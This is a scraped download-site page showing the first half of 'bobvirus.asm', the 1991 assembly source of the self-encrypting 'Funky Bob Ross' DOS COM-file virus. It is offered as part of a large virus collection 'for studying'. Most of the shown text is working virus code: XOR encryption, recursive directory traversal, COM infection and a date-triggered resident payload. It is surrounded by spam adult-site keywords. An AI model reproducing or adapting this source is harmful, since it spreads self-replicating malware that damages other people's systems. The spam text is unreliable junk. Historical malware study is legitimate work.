亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? bobvirus.asm

?? More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
?? ASM
?? 第 1 頁 / 共 2 頁
字號:
; The Funky Bob Ross Virus Version 1.0
; Written by Dark Angel / 26 September 1991 / (c) 1991
; PHALCON/SKISM Co-op
; Effective length: 1125, Resident length: 672 bytes
;
; DEDICATION:
;   This virus was written expressedly to
;      1) Piss off Patty Hoffman, John McAffee, Ross Greenberg, and all the
;         other guru-wanna-bes in this world.
;      2) Spread the message of The Almighty Bob, and so enrichen the lives
;         of people all over the world.
;      3) Show off (Now I can tell people that I wrote a virus!)
;
; WHAT THIS IS:
;   This is a self-encrypting, non-overwriting COM infector.  It doesn't do
;   anything to EXE files.  File sizes increase by 1117 bytes.  It goes off
;   on July 9th of any year or after 7 infection "waves."
;
; WHAT IT DOES WHEN IT GOES OFF:
;   The virus goes memory resident and prints out a Bobism every 5 minutes.
;   It then enters a delay loop for approximately 5 seconds, allowing for a
;   brief moment of silence while the victim reads Bob's holy message.  The
;   virus will not destroy anything.  The virus will not go TSR if it finds
;   another copy of itself in memory.
;
; CAUTION: THIS IS DESTRUCTIVE CODE.  YOU SHOULD NOT EVEN BE LOOKING AT IT.
;          I HAVE NEVER AND WILL NEVER RELEASE THIS CODE.  IF YOU SHOULD BE
;          LOOKING AT IT, IT IS BECAUSE IT WAS STOLEN FROM ME.  YOU HAVE NO
;          RIGHT TO LOOK AT THIS CODE.  IF THIS SOURCE SHOULD FALL INTO THE
;          WRONG HANDS, IT COULD BE VERY BAD!  DESTROY THIS IMMEDIATELY.  I
;          HOLD NO RESPONSIBILITY FOR WHAT STUPID PEOPLE DO WITH THIS CODE.
;          THIS WAS WRITTEN FOR EDUCATIONAL PURPOSES ONLY!!!

CODE    SEGMENT PUBLIC  'CODE'
        ORG     100h
        ASSUME  CS:CODE,DS:CODE,SS:CODE,ES:CODE

DTA_fileattr    EQU     21
DTA_filetime    EQU     22
DTA_filedate    EQU     24
DTA_filesize    EQU     26
DTA_filename    EQU     30

virus_marker    equ     026FFh   ; JMP WORD PTR
virus_marker2   equ     00104h   ; 0104h
part1_size      equ     part1_end - part1_start
part2_size      equ     part2_end - part2_start
offset_off      equ     duh2
init_delay      equ     5280    ; Initial delay
delay           equ     400     ; Subsequent delay
num_Messages    equ     7       ; Number of Bob messages
waves           equ     7       ; Number of waves to go off after
infec_date      equ     0709h   ; Date of psychosis

Counter         equ     108h
D_Mess          equ     110h
Int_08_Start    equ     112h

part1_start:
        jmp     word ptr duh
duh     dw      middle_part_end - part1_start + 100h
duh2    dw      0
part1_end:

middle_part_start:
middle_part_end:

;=============================================================================
;Part 2 begins: Dis is the D-Cool part
;=============================================================================
part2_start:
        cld
        call    decrypt
        mov     si, offset Go
        add     si, offset_off
        jmp     si

encrypt_val     db      00h

decrypt:
encrypt:
        mov     si, offset encrypt_val
        add     si, offset_off
        mov     ah, byte ptr [si]

        mov     cx, offset part2_end - offset bam_bam
        add     si, offset bam_bam - offset encrypt_val
        mov     di, si

xor_loop:
        lodsb                           ; DS:[SI] -> AL
        xor     al, ah
        stosb
        loop    xor_loop
        ret

copy_rest_stuff:
; Mah copying routine
        push    si              ; SI -> buffer3
        call    encrypt
        mov     cx, part2_size
        pop     dx
        add     dx, offset part2_start - offset buffer3
        mov     ah, 40h
        int     21h
        call    decrypt
bam_bam:
        ret

buffer    db 0CDh, 20h, 0, 0, 0, 0, 0, 0
buffer2   db part1_end - part1_start dup (?)
buffer3   dw ?
orig_path db 64 dup (?)
num_infec db 0                  ; Infection wave number
infec_now db 0                  ; Number files infected this time
root_dir  db '\',0
com_mask  db '*.com',0
dir_mask  db '*.*',0
back_dir  db '..',0
nest      dw 0

DTA     db 43 DUP (0)           ; For use by infect_dir

Go:
        add     si, offset buffer - offset Go
        mov     di, si
        add     di, offset buffer2 - offset buffer
        mov     cx, part1_size
        rep     movsb

        mov     ah, 47h                 ; Get directory
        xor     dl,dl                   ; Default drive
        add     si, offset orig_path - offset buffer - 8 ; DS:[SI] -> buffer
        int     21h                     ;  in orig_path
        jc      Go_Error

        mov     ah, 3Bh                 ; Change directory
        mov     dx, si                  ;  to the root dir
        add     dx, offset root_dir - offset orig_path
        int     21h
        jc      Go_Error

        add     si, offset num_infec - offset orig_path
        inc     byte ptr [si]           ; New infection wave

        push    si                      ; Save offset num_infec

        add     si, offset infec_now - offset num_infec
        mov     byte ptr [si], 3        ; Reset infection
                                        ;  counter to 3
                                        ;  for D-new run.

        call    traverse_fcn            ; Do all the work

        pop     si                      ; Restore offset num_infec
        cmp     byte ptr [si], waves    ; 10 infection waves?
        jge     Go_Psycho               ; If so, activate

        mov     ah, 2Ah                 ; Get date
        int     21h
        cmp     dx, infec_date          ; Is it 07/09?
        jz      Go_Psycho               ; If so, activate
Go_Error:
        jmp     quit                    ; And then quit

Go_Psycho:
        jmp     Psycho

origattr  db 0
origtime  dw 0
origdate  dw 0
filesize  dw 0                  ; Size of the uninfected file

oldhandle dw 0

;=============================================================================
;D-Traversal function begins
;=============================================================================
traverse_fcn proc    near
        push    bp                      ; Create stack frame
	mov	bp,sp
        sub     sp,44                   ; Allocate space for DTA
        push    si

        jmp     infect_directory
In_fcn:
        mov     ah,1Ah                  ;Set DTA
        lea     dx,word ptr [bp-44]     ; to space allotted
        int     21h                     ;Do it now, do it hard!

        mov     ah, 4Eh                 ;Find first
        mov     cx,16                   ;Directory mask
        mov     dx,offset dir_mask      ; *.*
        add     dx,offset_off
        int     21h
        jmp     short isdirok
gonow:
        cmp     byte ptr [bp-14], '.'   ;Is first char == '.'?
        je      short donext            ; If so, loop again
        lea     dx,word ptr [bp-14]     ;else load dirname
        mov     ah,3Bh                  ; and changedir there
        int     21h                     ;Yup, yup
        jc      short donext            ; Do next if invalid
        mov     si, offset nest         ; Else increment nest
        add     si, offset_off
        inc     word ptr [si]           ; nest++
        call    near ptr traverse_fcn   ; recurse directory
donext:
        lea     dx,word ptr [bp-44]     ;Load space allocated for DTA address
        mov     ah,1Ah                  ; and set DTA to it
        int     21h                     ; 'cause it might have changed

        mov     ah,4Fh                  ;Find next
        int     21h
isdirok:
        jnc     gonow                   ;If OK, jmp elsewhere
        mov     si, offset nest
        add     si, offset_off
        cmp     word ptr [si], 0        ;If root directory (nest == 0)
        jle     short cleanup           ; Quit
        dec     word ptr [si]           ;Else decrement nest
        mov     dx,offset back_dir      ;'..'
        add     dx, offset_off
        mov     ah,3Bh                  ;Change directory
        int     21h                     ; to previous one
cleanup:
        pop     si
	mov	sp,bp
	pop	bp
	ret	
traverse_fcn endp
;=============================================================================
;D-Traversal function ends
;=============================================================================

Goto_Error:
        jmp     Error

enuff_for_now:
                                        ;Set nest to nil
        mov     si, offset nest         ; in order to
        add     si, offset_off          ; halt the D-Cool
        mov     word ptr [si], 0        ; traversal fcn
        jmp     short cleanup
return_to_fcn:
        jmp     short In_fcn            ;Return to traversal function

infect_directory:
        mov     ah, 1Ah                 ;Set DTA
        mov     dx, offset DTA          ; to DTA struct
        add     dx, offset_off
        int     21h

find_first_COM:
        mov     ah, 04Eh                ; Find first file
        mov     cx, 0007h               ; Any file
        mov     dx, offset com_mask     ; DS:[DX] --> filemask
        add     dx, offset_off
        int     21h                     ; Fill DTA (hopefully)
        jc      return_to_fcn           ; <Sigh> Error #E421:0.1
        jmp     check_if_COM_infected   ; I<___-Cool! Found one!

find_next_file2:
        mov     si, offset infec_now    ; Another loop,
        add     si, offset_off          ;  Another infection
        dec     byte ptr [si]           ;  Infected three?
        jz      enuff_for_now           ;   If so, exit
find_next_file:
        mov     ah,4Fh                  ; Find next
        int     21h
        jc      return_to_fcn

check_if_COM_infected:
        mov     si, offset DTA + dta_filename + 6 ; look at 7th letter
        add     si, offset_off
        cmp     byte ptr [si], 'D'              ; ??????D.COM?
        jz      find_next_file                  ; don't kill COMMAND.COM

        mov     ax,3D00h                        ; Open channel read ONLY
        mov     dx, si                          ; Offset Pathname in DX
        sub     dx, 6
        int     21h                             ; Open NOW!
        jc      find_next_file                  ; If error, find another

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
国产一区高清在线| 一区二区国产视频| 日韩情涩欧美日韩视频| 色成人在线视频| 在线观看精品一区| 在线一区二区三区四区五区 | 国产在线日韩欧美| 黄色精品一二区| 国产高清在线精品| 成人一道本在线| 94色蜜桃网一区二区三区| av中文字幕不卡| 日本高清不卡视频| 91精品国产乱码| 精品美女一区二区| 久久久久国产一区二区三区四区| 日韩免费高清av| 久久精品免费在线观看| 国产精品美女www爽爽爽| 亚洲色欲色欲www| 图片区小说区区亚洲影院| 视频一区视频二区中文字幕| 日韩电影在线观看电影| 精品在线观看免费| 99久久国产免费看| 欧美三级日韩三级国产三级| 日韩欧美激情一区| 中文字幕在线观看一区二区| 亚洲国产乱码最新视频| 狠狠色丁香婷婷综合| 99久久久久久| 69堂精品视频| 国产精品福利电影一区二区三区四区| 亚洲色图清纯唯美| 久久66热偷产精品| 在线看不卡av| 欧美国产1区2区| 日韩在线一区二区三区| 成人午夜激情在线| 欧美一卡2卡3卡4卡| 国产日韩精品一区| 日韩黄色免费网站| 99久久久久免费精品国产| 日韩午夜在线播放| 一区二区三区四区精品在线视频 | 久久91精品国产91久久小草| 91在线看国产| 精品少妇一区二区三区在线播放| 综合久久久久综合| 国产一区二区三区在线观看免费视频 | 日韩理论片在线| 激情丁香综合五月| 69久久夜色精品国产69蝌蚪网| 国产亚洲美州欧州综合国| 亚洲大片精品永久免费| 成人av在线一区二区| 亚洲精品一区二区三区99| 亚洲午夜成aⅴ人片| 99久久精品免费观看| 国产日韩欧美制服另类| 美日韩黄色大片| 欧美精品成人一区二区三区四区| 国产精品久久久久精k8 | 亚洲精品国产无套在线观| 国产精品综合一区二区三区| 4438x亚洲最大成人网| 亚洲国产日韩av| 91成人免费在线| 一区二区三区小说| 色综合久久综合网97色综合| 国产精品久久久一本精品| 粉嫩一区二区三区在线看| 久久这里都是精品| 国产乱码精品一区二区三| 精品国产91亚洲一区二区三区婷婷| 亚洲成人在线观看视频| 欧美日韩一区二区三区视频 | 这里只有精品99re| 五月天一区二区三区| 欧美精品电影在线播放| 日韩成人dvd| 日韩美一区二区三区| 久久精品二区亚洲w码| 欧美刺激脚交jootjob| 经典三级一区二区| 国产偷国产偷亚洲高清人白洁| 国产高清精品久久久久| 国产精品人人做人人爽人人添| 国产福利电影一区二区三区| 欧美激情在线免费观看| www.成人网.com| 一区二区三区av电影| 欧美日韩大陆在线| 免费在线观看精品| www久久久久| heyzo一本久久综合| 一区二区三区蜜桃| 日韩亚洲欧美在线| 国产99久久久精品| 亚洲国产精品久久久男人的天堂| 欧美老女人第四色| 国产成人在线网站| 亚洲欧美日本在线| 欧美一级在线视频| 99久久99久久免费精品蜜臀| 亚洲成人在线免费| 欧美国产精品中文字幕| 在线观看亚洲精品视频| 久久精品二区亚洲w码| 成人欧美一区二区三区| 欧美高清视频一二三区 | 色婷婷综合久久久中文字幕| 亚洲大片在线观看| 亚洲国产高清不卡| 欧美日韩一卡二卡三卡| 国产传媒欧美日韩成人| 亚洲高清三级视频| 国产精品蜜臀在线观看| 欧美天堂亚洲电影院在线播放 | 国产亚洲污的网站| 欧美亚洲国产一卡| 国产成人av福利| 三级欧美韩日大片在线看| 国产欧美日韩另类一区| 欧美一区二区三区色| 一本一道久久a久久精品| 国产一区啦啦啦在线观看| 香蕉成人伊视频在线观看| 国产精品免费丝袜| 欧美mv日韩mv国产网站| 欧美精品成人一区二区三区四区| 成人av片在线观看| 国产一区二区三区在线观看免费| 亚洲国产日韩一区二区| 亚洲丝袜制服诱惑| 国产精品情趣视频| 国产视频不卡一区| 久久久三级国产网站| 日韩一级免费观看| 欧美丰满少妇xxxxx高潮对白| 91麻豆精东视频| 成人黄色一级视频| 大白屁股一区二区视频| 国产一区二区电影| 久久99国产精品久久| 麻豆精品一区二区av白丝在线| 一卡二卡三卡日韩欧美| 亚洲免费观看高清完整版在线观看 | 亚洲成a人片在线不卡一二三区| 中文字幕亚洲一区二区av在线| 久久人人97超碰com| 精品国产91久久久久久久妲己| 777xxx欧美| 欧美一区日韩一区| 久久综合99re88久久爱| 日韩一级免费观看| 欧美不卡123| 成人高清在线视频| 精品中文字幕一区二区| 日本在线不卡一区| 老司机一区二区| 99久久精品免费看| 国产福利精品一区二区| 国产精品综合在线视频| 久久久久久夜精品精品免费| 亚洲精品综合在线| 国产伦精品一区二区三区免费迷| 色婷婷一区二区| 久久精品人人做人人综合| 亚洲成人三级小说| 99久久伊人网影院| 精品国产a毛片| 天堂影院一区二区| 91丨porny丨首页| 日本一区二区三区免费乱视频 | 色综合久久66| 欧美激情中文不卡| 激情图片小说一区| 在线91免费看| 一区二区三区丝袜| 成人免费三级在线| 精品毛片乱码1区2区3区| 亚洲国产精品麻豆| 色综合咪咪久久| 国产精品女主播在线观看| 久久91精品久久久久久秒播| 欧美高清视频一二三区| 亚洲综合小说图片| 9人人澡人人爽人人精品| 久久久久久亚洲综合影院红桃| 麻豆免费精品视频| 欧美一级午夜免费电影| 亚洲国产毛片aaaaa无费看| 91女厕偷拍女厕偷拍高清| 国产精品家庭影院| 不卡av在线网| 国产精品二区一区二区aⅴ污介绍| 国产成人高清在线| 欧美极品少妇xxxxⅹ高跟鞋 | 日韩不卡一二三区|